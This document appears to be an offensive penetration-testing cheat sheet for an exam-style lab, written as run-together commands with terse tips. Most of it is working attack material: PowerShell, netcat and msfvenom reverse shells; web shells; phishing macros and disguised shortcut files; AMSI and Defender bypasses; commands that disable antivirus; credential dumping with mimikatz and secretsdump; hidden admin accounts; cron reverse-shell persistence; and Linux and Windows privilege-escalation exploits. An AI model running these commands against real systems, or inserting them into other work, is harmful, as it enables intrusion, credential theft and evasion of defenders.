echo -n '$c=New-Object System.Net.Sockets.TCPClient("$LHOST",$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+"PS> ";$o=([text.encoding]::ASCII).GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()' | iconv -t UTF-16LE | base64 -w0powershell -nop -w hidden -enc <base64>C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exeC:\Windows\Temp\nc.exe $LHOST $LPORT -e powershell.exeplain shell payloads, not meterpreter, so none of these count as the metasploit target
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $WORKDIR/www/shell.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $WORKDIR/www/shell.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o $WORKDIR/www/svc.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o $WORKDIR/www/evil.dllmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o $WORKDIR/www/evil.msimsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f aspx -o $WORKDIR/www/shell.aspxmsfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o $WORKDIR/www/shell.phpmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o $WORKDIR/www/shell.warkali ships a set — the php reverse shell wants its ip and port edited
<?php system($_GET['c']); ?><?php echo shell_exec($_REQUEST['c']); ?><% eval request("c") %>cp /usr/share/webshells/php/php-reverse-shell.php $WORKDIR/www/shell.php && sed -i "s/127.0.0.1/$LHOST/; s/1234/$LPORT/" $WORKDIR/www/shell.phpcurl "http://$IP/shell.php?c=id"Ctrl-Z after the first line, the stty line on kali, then fg
python3 -c 'import pty;pty.spawn("/bin/bash")'stty raw -echo; fgexport TERM=xterm SHELL=/bin/bash; stty rows 50 cols 200socat file:$(tty),raw,echo=0 tcp-listen:$LPORTsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORTcmd over nc cannot be upgraded — get a proper one instead, in this order
evil-winrm -i $IP -u $USER1 -p $PASS1xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /cert:ignore /dynamic-resolutionrlwrap nc -lnvp $LPORTit has its own file transfer and script loader, so nothing needs a web server. -s is a folder of ps1 files — type a script's name to load it and its functions are there. -e is a folder of .NET exes for Invoke-Binary, which runs them in memory
evil-winrm -i $IP -u $USER1 -p $PASS1 -s $WORKDIR/www/ -e $WORKDIR/www/upload $WORKDIR/www/winPEASx64.exe C:\Windows\Temp\w.exedownload C:\Users\$USER1\Desktop\local.txt $WORKDIR/loot/local.mdmenuPowerView.ps1Invoke-Binary $WORKDIR/www/Rubeus.exe triageBypass-4MSItab completion, arrow keys, and a ctrl-c that goes to the program rather than killing the shell. Windows 10 1809 or Server 2019 and newer. The stty line goes on kali before the listener, and reset puts the terminal back afterwards
stty raw -echo; (stty size; cat) | nc -lvnp $LPORTIEX(IWR http://$LHOST:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $LHOST $LPORT.\ConPtyShell.exe $LHOST $LPORTresetfile transfer [8]
python3 -m http.server 8000 --directory $WORKDIR/wwwimpacket-smbserver share $WORKDIR/www -smb2supportimpacket-smbserver share $WORKDIR/www -smb2support -user share -password sharecurl -sO http://$LHOST:8000/linpeas.sh || wget http://$LHOST:8000/linpeas.shcurl -sL http://$LHOST:8000/linpeas.sh | bashiwr first. certutil when powershell is awkward. smb when the box blocks http but not 445
powershell -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST:8000/nc.exe','C:\Windows\Temp\nc.exe')"certutil -urlcache -f http://$LHOST:8000/nc.exe C:\Windows\Temp\nc.execopy \\$LHOST\share\nc.exe C:\Windows\Temp\nc.exenet use \\$LHOST\share /u:share sharepowershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$LHOST:8000/PowerView.ps1'); Get-NetDomain"for a shell that is not interactive enough for anything else. pyftpdlib on kali
python3 -m pyftpdlib -p 21 -w -d $WORKDIR/wwwecho open $LHOST> ftp.txt & echo anonymous>> ftp.txt & echo pass>> ftp.txt & echo binary>> ftp.txt & echo GET nc.exe>> ftp.txt & echo bye>> ftp.txtftp -v -n -s:ftp.txtnc -lvnp $LPORT > $WORKDIR/loot/filenc $LHOST $LPORT < /path/to/filescp /path/to/file kali@$LHOST:$WORKDIR/loot/base64 -w0 /path/to/fileecho '<paste>' | base64 -d > $WORKDIR/loot/filesmb is the easy one. The upload server catches a POST when 445 is blocked
copy C:\path\file \\$LHOST\share\python3 -m uploadserver 8000 --directory $WORKDIR/lootpowershell -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\path\file')); iwr -Uri http://$LHOST:8000/ -Method POST -Body $b"certutil -encode C:\path\file C:\Windows\Temp\file.b64 & type C:\Windows\Temp\file.b64scp $USER1@$IP:/path/to/file $WORKDIR/loot/scp $WORKDIR/www/linpeas.sh $USER1@$IP:/tmp/client-side [6]
a name, an email server and a document. The payload is just a download cradle for the shell above
word > view > macros > create. VBA strings cap at 255 characters, so the encoded command is split across Str = Str + lines
vba
Sub AutoOpen() MyMacroEnd SubSub Document_Open() MyMacroEnd SubSub MyMacro() Dim Str As String Str = Str + "powershell.exe -nop -w hidden -enc " Str = Str + "<base64 chunk>" CreateObject("Wscript.Shell").Run StrEnd Subpython3 -c "s=open('enc.txt').read().strip(); [print('Str = Str + \"'+s[i:i+50]+'\"') for i in range(0,len(s),50)]"<html><head><script language="VBScript">Set o = CreateObject("Wscript.Shell"):o.Run "powershell -nop -w hidden -enc <base64>",0:self.close</script></head></html>a .Library-ms pointing at your webdav share, holding a .lnk that runs the cradle. wsgidav serves the share
library-ms
pip3 install wsgidav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $WORKDIR/www/webdav# config.Library-ms — edit the url, then double-click opens the share<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1003</iconReference> <templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo> <searchConnectorDescriptionList><searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported> <simpleLocation><url>http://$LHOST</url></simpleLocation> </searchConnectorDescription></searchConnectorDescriptionList></libraryDescription># the .lnk target:powershell.exe -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"the shortcut that goes in the webdav share next to the library file. Build it on kali with pylnk3, or on any windows box through the shell object. The icon is what makes it look like a settings file rather than a script
pipx install pylnk3pylnk3 c 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $WORKDIR/www/webdav/automatic_configuration.lnk -a '-nop -w hidden -enc <base64>' -i 'C:\Windows\System32\imageres.dll' --icon-index 109# on windows:$s=(New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\automatic_configuration.lnk"); $s.TargetPath="powershell.exe"; $s.Arguments="-nop -w hidden -enc <base64>"; $s.IconLocation="imageres.dll,109"; $s.Save()swaks --to $USER1@$DOMAIN --from it@$DOMAIN --server $IP --header "Subject: please review" --body "attached" --attach @$WORKDIR/www/doc.docmon the box
the first ten minutes after a shell. Proof, then who and what and where, before any privesc
first ten minutes [6]
id; hostname; cat /etc/os-release; ip awhoami /all & hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" & ipconfig /allfind / -name local.txt 2>/dev/null; cat ~/local.txt /home/*/local.txt 2>/dev/nulldir /s /b C:\local.txt C:\Users\*\Desktop\local.txt 2>nultype C:\Users\*\Desktop\local.txtanother interface or a route you did not scan means a pivot. Set SUBNET and PIVOT now
ip a; ip route; cat /etc/hosts; arp -aipconfig /all & route print & arp -aa service bound to 127.0.0.1 is one nmap never saw — forward it (pivoting) and scan it
ss -tulpnnetstat -ano | findstr LISTENINGGet-NetTCPConnection -State Listen | select LocalAddress,LocalPort,OwningProcessw; last -a | head; cat /etc/passwd | grep -vE 'nologin|false'query user & net user & net localgroup administratorspython3 -c 'import pty;pty.spawn("/bin/bash")'powershell -ep bypasslinux — enumerate [4]
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/curl -sL http://$LHOST:8000/linpeas.sh | bashcurl -sL http://$LHOST:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $WORKDIR/loot/linpeas.md./pspy64id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux --sort=-%cpu | head -30ps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd'env; echo $PATHdpkg -l | grep -iE 'docker|mysql|postgres|python'find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp)'find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run)'ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.dwindows — enumerate [9]
SeImpersonate, SeBackup, SeRestore, SeDebug, SeTakeOwnership, SeManageVolume — any of these is a privesc on its own
whoami /privwhoami /groupsnet user %USERNAME%net localgroup administratorsGet-LocalUser | select Name,Enabled,LastLogonGet-LocalGroupMember Administratorsthe systeminfo output is what wes-ng and searchsploit eat for kernel exploits
systeminfosysteminfo > C:\Windows\Temp\sysinfo.mdwmic qfe get Caption,Description,HotFixID,InstalledOn[System.Environment]::OSVersion.VersionGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersionGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersiondir "C:\Program Files" "C:\Program Files (x86)"wmic product get name,versiontasklist /svcGet-Process | select ProcessName,Id,PathGet-CimInstance -ClassName win32_service | select Name,State,PathName | where {$_.State -like 'Running'}wmic service get name,displayname,pathname,startmodeschtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /vipconfig /allroute printnetstat -anoarp -anet sharenet useGet-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnablednetsh advfirewall show allprofiles stateGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections$ExecutionContext.SessionState.LanguageModethe most reliable source of a password on a windows box
Get-History(Get-PSReadlineOption).HistorySavePathtype C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"python3 wes.py --update && python3 wes.py $WORKDIR/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-onlywindows — defender in the way [6]
the defences card above tells you it is on. This is what to do about it. None of it is an exam rule problem — it is your own tooling being eaten
Get-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnabled,IoavProtectionEnabled,AMServiceEnabledGet-MpPreference | select ExclusionPath,ExclusionExtension,DisableRealtimeMonitoringGet-MpThreatDetection | sort InitialDetectionTime -Desc | select -First 5 ProcessName,Resourcespowershell scripts are scanned as they load — the "This script contains malicious content" error. Break up the strings AMSI matches on and the scan says yes. When this exact line is caught too, amsi.fail builds a fresh one
$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$a.GetField('amsi'+'InitFailed','NonPublic,Static').SetValue($null,$true)# evil-winrm has one built in:Bypass-4MSI# then load whatever was blocked:iex(iwr http://$LHOST:8000/PowerView.ps1 -UseBasicParsing)a file on disk is scanned the moment it is written. A script pulled straight into iex, or a .NET exe loaded by reflection or by evil-winrm, never touches the disk
powershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(iwr http://$LHOST:8000/winPEAS.ps1 -UseBasicParsing)"$d=(New-Object Net.WebClient).DownloadData('http://$LHOST:8000/winPEASx64.exe'); [Reflection.Assembly]::Load($d) | Out-Null; [winPEAS.Program]::Main("")Invoke-Binary $WORKDIR/www/winPEASx64.exethe obfuscated build gets further, the .bat needs no .NET and is rarely flagged, and the ps1 is a port that misses things. Or skip it — every check it does is in the privesc phase by hand
iwr http://$LHOST:8000/winPEASany_ofs.exe -OutFile C:\Windows\Temp\w.exe; C:\Windows\Temp\w.exe quiet servicesinfoiwr http://$LHOST:8000/winPEAS.bat -OutFile C:\Windows\Temp\w.bat; C:\Windows\Temp\w.batpowershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"it is the most signatured binary there is. The powershell one-liner in foothold > shells replaces it, encoded if quotes are a problem. When it has to be an exe, a bare msfvenom shell rarely survives — run it through shellter. That payload is staged, so catch it with multi/handler, which is fine on the exam
powershell -nop -w hidden -enc <base64>sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install -y shellter wine32 && shellter# shellter: A (auto) > PE target: a real exe, putty.exe > stealth N > payloads L > 5 (Shell_Reverse_TCP) > $LHOST $LPORTmsfconsole -q -x "use multi/handler; set payload windows/shell/reverse_tcp; set LHOST $LHOST; set LPORT $LPORT; run -j"needs a high-integrity shell — evil-winrm or psexec, not a UAC-limited desktop one. Tamper protection stops the first line on a current box; the exclusion usually still goes through
Set-MpPreference -DisableRealtimeMonitoring $trueAdd-MpPreference -ExclusionPath C:\Windows\TempSet-MpPreference -DisableIOAVProtection $truenetsh advfirewall set allprofiles state offlinux — loot [5]
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" -o -name "*.sqlite" \) -not -path "/proc/*" 2>/dev/nullenv; cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i passls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/nullfind /var/www -name "*config*" -o -name "*.env" -o -name "settings.py" -o -name "database.yml" 2>/dev/null | xargs grep -iE 'pass|user|db' 2>/dev/nullcat /var/www/html/wp-config.php | grep -E 'DB_'mysql -u root -e 'show databases' 2>/dev/nullreadable shadow is a privesc. Writable passwd is a bigger one
cat /etc/shadowunshadow /etc/passwd /etc/shadow > $WORKDIR/loot/unshadowed.md && john --wordlist=$ROCKYOU $WORKDIR/loot/unshadowed.mdsu reads the terminal, so this needs a real tty
su - rootsu - $USER2for u in $(cut -d: -f1 /etc/passwd); do echo "$PASS1" | timeout 1 su $u -c id 2>/dev/null && echo " ^ $u"; donewindows — loot [8]
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.kdbx,*.ini,*.config,*.xml,*.ps1,*.bat -File -Recurse -EA SilentlyContinueGet-ChildItem -Path C:\xampp,C:\inetpub,"C:\Program Files" -Include *.txt,*.ini,*.config,*.xml -File -Recurse -EA SilentlyContinuefindstr /si password *.xml *.ini *.txt *.config *.ps1 *.bat 2>nuldir /s /b C:\*pass* C:\*cred* C:\*.kdbx C:\*unattend* 2>nulreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultUserName DefaultPassword"reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /sreg query "HKCU\Software\ORL\WinVNC3\Password"a saved credential is a shell as that user — runas /savecred
cmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"type C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\System32\Sysprep\sysprep.xml 2>nul | findstr /i "password"type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"type C:\xampp\htdocs\*config*.php C:\xampp\passwords.txt 2>nultype C:\Windows\System32\inetsrv\config\applicationHost.config | findstr /i "password"cpassword in sysvol decrypts with a published key
findstr /S /I cpassword \\$DC\sysvol\$DOMAIN\Policies\*.xmlgpp-decrypt <cpassword>nxc smb $DC -u $USER1 -p $PASS1 -M gpp_passwordGet-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA SilentlyContinuekeepass2john db.kdbx > kdbx.hash && hashcat -m 13400 kdbx.hash $ROCKYOUnetsh wlan show profilesnetsh wlan show profile name="<ssid>" key=clearwindows — dump creds [4]
needs local admin, and a high-integrity shell (evil-winrm or psexec give you one; a UAC-limited desktop shell does not)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::lsa /patch" "exit"# inside it:privilege::debugtoken::elevatesekurlsa::logonpasswordslsadump::samlsadump::lsa /patchlsadump::secretslsadump::cachesekurlsa::tickets /exportsave the hives and pull them back, or dump lsass with a signed binary
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCALrundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullpypykatz lsa minidump lsass.dmpnxc smb $IP -u $ADMINU -p $ADMINP --sam --lsanxc smb $IP -u $ADMINU -H $ADMINH --sam --lsanxc smb $IP -u $ADMINU -p $ADMINP -M lsassyimpacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-secretsdump -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"NT hashes pass straight in. NetNTLMv2 (from responder) only cracks
hashcat -m 1000 ntlm.md $ROCKYOUhashcat -m 5600 netntlmv2.md $ROCKYOUnxc smb $IP -u $USER1 -H $HASH1evil-winrm -i $IP -u $USER1 -H $HASH1make life easier [5]
net user hacker 'Passw0rd!' /add && net localgroup administrators hacker /add && net localgroup "Remote Desktop Users" hacker /addreg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh advfirewall firewall set rule group="remote desktop" new enable=Yesxfreerdp /v:$IP /u:hacker /p:'Passw0rd!' /cert:ignore /dynamic-resolutionEnable-PSRemoting -Forcewinrm quickconfig -qssh-keygen -q -N '' -f $WORKDIR/box_keymkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keysecho '* * * * * bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' | crontab -privesc — linux
sudo, suid, cron, capabilities. Then what runs as root that you can write to, and what is listening that you could not see from outside. Kernel last
start here [4]
ninety per cent of boxes answer to one of these
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/run it, then actually read it. pspy catches cron jobs running without needing root to see them
curl -sL http://$LHOST:8000/linpeas.sh | bashcurl -sL http://$LHOST:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $WORKDIR/loot/linpeas.md./pspy64 -pf -i 1000id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd|dbus'ss -tulpncat /etc/passwd | grep -vE 'nologin|false'find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp|var/tmp)'find / -writable \( -name '*.sh' -o -name '*.py' -o -name '*.service' \) -not -path '/proc/*' 2>/dev/nullls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.dsudo [5]
check every binary it lists against gtfobins before anything else
sudo -lsudo -V | head -1sudo vim -c ':!/bin/sh'sudo find . -exec /bin/sh \; -quitsudo awk 'BEGIN {system("/bin/sh")}'sudo python3 -c 'import os; os.system("/bin/sh")'sudo env /bin/shsudo less /etc/profilesudo -u $USER2 /bin/bashwhen sudo -l points at a shell script, read it. A relative command name in there is a PATH hijack, and an unquoted variable is an injection
cat /path/to/script.shgrep -nE '^\s*[a-z0-9_]+ |\$[A-Za-z_]+|`|\$\(' /path/to/script.shecho '/bin/bash -p' > /tmp/ls && chmod +x /tmp/lssudo PATH=/tmp:$PATH /path/to/script.shwhen sudo -l shows env_keep+=LD_PRELOAD, any command it allows loads your library as root
printf '#include <stdlib.h>\n#include <unistd.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}\n' > /tmp/pe.cgcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.csudo LD_PRELOAD=/tmp/pe.so <allowed command>sudo -u#-1 /bin/bash # CVE-2019-14287, sudo < 1.8.28 where the rule reads (ALL, !root)# CVE-2021-3156 baron samedit — sudo < 1.9.5p2# CVE-2023-22809 sudoedit — 1.8.0 to 1.9.12p1 : EDITOR='vim -- /etc/sudoers' sudoedit /allowed/filesudo --version | head -1suid & capabilities [5]
anything outside /usr/bin and /usr/sbin is worth a proper look
find / -perm -4000 -type f 2>/dev/nullfind / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/)?(s?bin|lib)'getcap -r / 2>/dev/nullpython3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # cap_setuid on pythonperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' # cap_setuid on perl# cap_dac_read_search or cap_dac_override on anything: read /etc/shadow, or write to itwhat does it actually call. A bare command name means PATH, a full path you can write to means replace it
strings ./binary | grep -iE 'system|exec|/bin/|^[a-z]+$' | head -40ltrace ./binary 2>&1 | head -40strace -f ./binary 2>&1 | grep -E 'exec|open' | head -40echo '/bin/bash -p' > /tmp/ps && chmod +x /tmp/psPATH=/tmp:$PATH ./binary-p is what keeps the effective uid. Without it bash drops back to you
bash -p/tmp/bash -pcron & timers [6]
pspy shows you jobs that are not in any crontab you can read
cat /etc/crontabls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron/crontabs 2>/dev/nullcrontab -lsystemctl list-timers --all./pspy64 -pf -i 1000ls -la $(grep -ohE '/[^ ]+\.(sh|py|pl)' /etc/crontab /etc/cron.d/* 2>/dev/null | sort -u)echo 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' >> /path/to/cron.sha root-run script imports a module. Python looks in the script's own directory first, then down sys.path in order — a writable directory anywhere ahead of the real module wins. Same again with PYTHONPATH when sudo keeps it
grep -E '^(import|from) ' /path/to/root.pypython3 -c 'import sys; print("\n".join(sys.path))' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'ls -la /path/to/ # the script's own directory, and the module itselfecho 'import os; os.system("chmod u+s /bin/bash")' > /path/to/<module>.pysudo PYTHONPATH=/tmp /usr/bin/python3 /opt/script.py # when sudo -l shows env_keep+=PYTHONPATHtar * in a directory you can write to reads your filenames as command-line flags
echo 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' > shell.shecho "" > "--checkpoint=1"echo "" > "--checkpoint-action=exec=sh shell.sh"openssl passwd -1 Passw0rdecho 'root2:<hash>:0:0::/root:/bin/bash' >> /etc/passwd && su root2find /etc/systemd /lib/systemd -writable -name '*.service' 2>/dev/nullgrep -rE 'ExecStart' /etc/systemd/system/*.service 2>/dev/null | grep -vE 'usr/(s)?bin'services & groups [5]
something nmap never saw from outside. Forward it out and treat it as a new target
ss -tulpn | grep 127.0.0.1curl -s http://127.0.0.1:$PORTssh -L $PORT:127.0.0.1:$PORT $USER1@$IPdocker, lxd and disk are each effectively root
id | grep -E 'docker|lxd|disk|adm|shadow'docker run -v /:/mnt --rm -it alpine chroot /mnt shdocker images; docker ps -asteps
lxc image listlxc init <alpine image> c -c security.privileged=truelxc config device add c h disk source=/ path=/mnt/root recursive=truelxc start clxc exec c /bin/sh# then: cat /mnt/root/root/proof.txtan export with no_root_squash lets your local root write a suid shell into it
cat /etc/exportsshowmount -e $IP# on kali, with the share mounted:sudo cp /bin/bash /mnt/nfs/bash && sudo chmod +s /mnt/nfs/bash# on the box:/export/bash -pps aux | grep mysqldmysql -u root -e 'select @@version; select user,authentication_string from mysql.user'searchsploit mysql udfcreds lying about [4]
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" \) -not -path "/proc/*" 2>/dev/nullcat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i passls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/nulla readable shadow is a privesc. A writable passwd is a faster one
cat /etc/shadowunshadow /etc/passwd /etc/shadow > $WORKDIR/loot/unshadowed.mdjohn --wordlist=$ROCKYOU $WORKDIR/loot/unshadowed.mdsu needs a real tty, so upgrade the shell first
su - rootsu - $USER2for u in $(cut -d: -f1 /etc/passwd); do echo "$PASS1" | timeout 1 su $u -c id 2>/dev/null && echo " ^ $u"; donekernel [2]
last resort. It can panic the box, and a reverted exam box costs you the time you were trying to save
uname -a; cat /proc/version; cat /etc/os-releasesearchsploit "linux kernel $(uname -r | cut -d. -f1,2)" privilege escalation# pwnkit CVE-2021-4034 — pkexec, almost everything before January 2022# dirty pipe CVE-2022-0847 — kernel 5.8 to 5.16.11# overlayfs CVE-2021-3493 — ubuntu below 20.10# dirty cow CVE-2016-5195 — below 4.8.3, and it is the one most likely to crashls -la $(which pkexec) 2>/dev/null; pkexec --version 2>/dev/nullprivesc — windows
privileges, then services, then scheduled tasks, then what is stored. Run the automated script early but read its output properly — it finds nearly all of this and you still have to spot it
start here [4]
a privilege with Se in front of it, a service path you can write to, or a credential lying about. One of them is usually the answer
whoami /privwhoami /groupsnet localgroup administratorsin the administrators group but Medium integrity means UAC is in the way, not permissions. Come back in over winrm or smb instead of hunting for a privesc
whoami /groups | findstr /i "mandatory"net localgroup administrators | findstr /i "%USERNAME%"quiet servicesinfo when the full output is too much to read
.\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-UnquotedService; Get-ModifiableService"the tool the service checks lean on. -uwcqv is "what can this principal write"
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwcqv "Everyone" *.\accesschk.exe /accepteula -uwdq C:\.\accesschk.exe /accepteula -ucqv <service>privileges [5]
whoami /priv, and anything enabled that is not the three defaults is worth looking up
every SeXxx line of whoami /priv and every line of whoami /groups that changes what you do next — what it gives you, how to use it from the box and from kali
open the privilege lookupservice accounts — iis, mssql — nearly always have it. A potato turns it into SYSTEM. PrintSpoofer first, GodPotato if the spooler is off
.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\SigmaPotato.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"read any file whatever the ACL says. The two hives give you the local admin hash
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemrobocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtimpacket-secretsdump -sam sam -system system LOCALwrite any file. Swap something SYSTEM runs — a service binary is quieter than utilman, which needs the lock screen
takeown /f C:\Windows\System32\utilman.exeicacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# SeDebug : dump lsass — see "on the box > windows — dump creds"# SeManageVolume : SeManageVolumeExploit.exe gives full control of C:\, then drop a dll in System32# SeLoadDriver : capcom / EoPLoadDriver — rarer and slower, leave it till lastwhoami /priv | findstr /i "backup restore takeown debug managevolume loaddriver impersonate"services [8]
the most common windows privesc on the exam. Three separate holes — the binary, the service config, and an unquoted path
filter out C:\Windows — what is left is third-party and worth checking
Get-CimInstance win32_service | select Name,State,PathName,StartMode | where {$_.State -eq 'Running'}wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"sc qc <service>(F) or (M) for Users, Everyone, Authenticated Users or your own name is the hole
icacls "C:\path\to\service.exe"icacls "C:\path\to"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile"a plain reverse shell gets killed after 30 seconds — build it with -f exe-service, or add a user instead and come back in cleanly
